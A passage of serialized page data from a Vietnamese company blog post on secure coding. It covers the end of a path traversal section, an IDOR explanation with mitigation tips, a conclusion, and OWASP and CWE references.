thư mục gốc của web.",[32,1010,1011],{},"Sử dụng whitelist cho những giá trị được cho phép hoặc tên file là những kí tự số,chữ không nên chứa những ký tự đặc biệt.",[32,1013,1014],{},"Về file có thể sử dụng Amazon S3 để lưu trữ và truy xuất.",[58,1016,1018],{"id":1017},"insecure-direct-object-references-idor","Insecure Direct Object References (IDOR)",[15,1020,1021],{},"Insecure Direct Object References (IDOR) là lỗ hổng xảy ra khi chương trình cho phép người dùng truy trái phép các tài nguyên (dữ liệu, file, thư mục, database) một cách bất hợp pháp thông qua dữ liệu do người dùng cung cấp.",[15,1023,952],{},[15,1025,1026,1027,1031],{},"Trong mục “Quản lý đơn hàng”, URL của một đơn hàng sẽ có dạng như sau: ",[118,1028,1029],{"href":1029,"rel":1030},"http:\u002F\u002Fshop.com\u002Fuser\u002Forder\u002F1",[122],". Server sẽ đọc ID = 1 từ URL, sau đó tìm đơn hàng có ID = 1 trong database và đổ dữ liệu vào HTML. Sau đó thay đổi ID = 1 thành một số khác, lúc này hệ thống đọc và hiển thị tất cả đơn hàng (kể cả đơn hàng của khách hàng khác).",[15,1033,1034],{},"Lỗ hổng ở đây chính là: chương trình cho phép truy cập tài nguyên (đơn hàng của người khác) bất hợp pháp, thông qua dữ liệu (ID) mà cung cấp qua URL. Lẽ ra, chương trình phải kiểm tra xem người dùng đó có quyền truy cập các dữ liệu này hay không.",[15,1036,1037],{},"Trong thực tế, hackers có thể dùng nhiều chiêu trò như: thay đổi URL, thay đổi param trong API, sử dụng tool để scan những tài nguyên không được bảo mật.",[15,1039,1040],{},[78,1041,739],{},[29,1043,1044,1047,1050],{},[32,1045,1046],{},"Thiết lập phân quyền chặt chẽ người dùng",[32,1048,1049],{},"Luôn luôn test cẩn thận ứng dụng",[32,1051,1052],{},"Bảo vệ dữ liệu nhảy cảm như source code, config, database key, cần hạn chế truy cập. Cách tốt nhất là chỉ cho phép các IP nội bộ truy cập các dữ liệu này.",[10,1054,1056],{"id":1055},"kết-luận","Kết luận",[15,1058,1059],{},"Việc sử dụng secure coding cho ứng dụng là một yếu tố không thể thiếu để đảm bảo an toàn và bảo mật. Bằng cách áp dụng những nguyên tắc và phương pháp secure coding giúp bạn ngăn chặn các lỗ hổng bảo mật xuất hiện từ giai đoạn đầu và giảm thiểu rủi ro trong tương lai. Xây dựng một ứng dụng đáng tin cậy và an toàn cho người dùng.",[10,1061,1063],{"id":1062},"tài-liệu-tham-khảo","Tài liệu tham khảo",[15,1065,1066],{},[118,1067,1068],{"href":1068,"rel":1069},"https:\u002F\u002Fowasp.org\u002Fwww-community\u002Fattacks\u002F",[122],[15,1071,1072],{},[118,1073,1074],{"href":1074,"rel":1075},"https:\u002F\u002Fowasp.org\u002Fwww-pdf-archive\u002FOWASP_SCP_Quick_Reference_Guide_v1.pdf",[122],[15,1077,1078],{},[118,1079,1080],{"href":1080,"rel":1081},"https:\u002F\u002Fcwe.mitre.org\u002Fdata\u002F",[122],[15,1083,1084],{},[118,1085,1086],{"href":1086,"rel":1087},"https:\u002F\u002Fwww.websec.ca\u002Fkb\u002Fsql_injection",[122],[15,1089,1090],{},[118,1091,1092],{"href":1092,"rel":1093},"https:\u002F\u002Fcodedx.com\u002Finsecure-direct-object-references\u002F",[122],[15,1095,1096],{},[118,1097,1098],{"href":1098,"rel":1099},"https:\u002F\u002Fviblo.asia\u002Fs\u002Fsecure-coding-for-developers-dbZN76EalYM",[122],{"title":92,"searchDepth":1101,"depth":1101,"links":1102},2,[1103,1104,1105,1119,1126,1127],{"id":12,"depth":1101,"text":13},{"id":23,"depth":1101,"text":24},{"id":55,"depth":1101,"text":56,"children":1106},[1107,1109,1110,1111,1112,1113,1114,1115,1116,1117,1118],{"id":60,"depth":1108,"text":61},3,{"id":112,"depth":1108,"text":113},{"id":162,"depth":1108,"text":163},{"id":239,"depth":1108,"text":240},{"id":289,"depth":1108,"text":290},{"id":345,"depth":1108,"text":346},{"id":418,"depth":1108,"text":419},{"id":471,"depth":1108,"text":472},{"id":531,"depth":1108,"text":532},{"id":584,"depth":1108,"text":585},{"id":640,"depth":1108,"text":641},{"id":693,"depth":1101,"text":694,"children":1120},[1121,1122,1123,1124,1125],{"id":697,"depth":1108,"text":698},{"id":753,"depth":1108,"text":754},{"id":825,"depth":1108,"text":828},{"id":943,"depth":1108,"text":946},{"id":1017,"depth":1108,"text":1018},{"id":1055,"depth":1101,"text":1056},{"id":1062,"depth":1101,"text":1063},"tech talk","Briswell Vietnam Co Ltd","2025-03-25","Giới thiệu về secure coding Secure coding là quá trình viết mã nguồn có tính bảo mật cao, tránh tối đa các lỗ hổng để ngăn chặn các cuộc tấn công từ kẻ xâm nhập hoặc hackers, tập trung vào việc viết mã và phát triển ứng dụng một cách an toàn. Mã không an toàn là nguồn gốc chính của nhiều vấn đề bảo mật trong phần mềm.","md",{},true,"\u002Fvi\u002Fnews\u002Fsecure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan",null,{"title":5,"description":1131},"vi\u002Fnews\u002Fsecure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F20130147\u002Fimage-secure-coding.jpg","_b-Yj0HxE1eBlY_RtVv7xqEoYTvVYqE4vqlqx5SXs_A",1782205038414]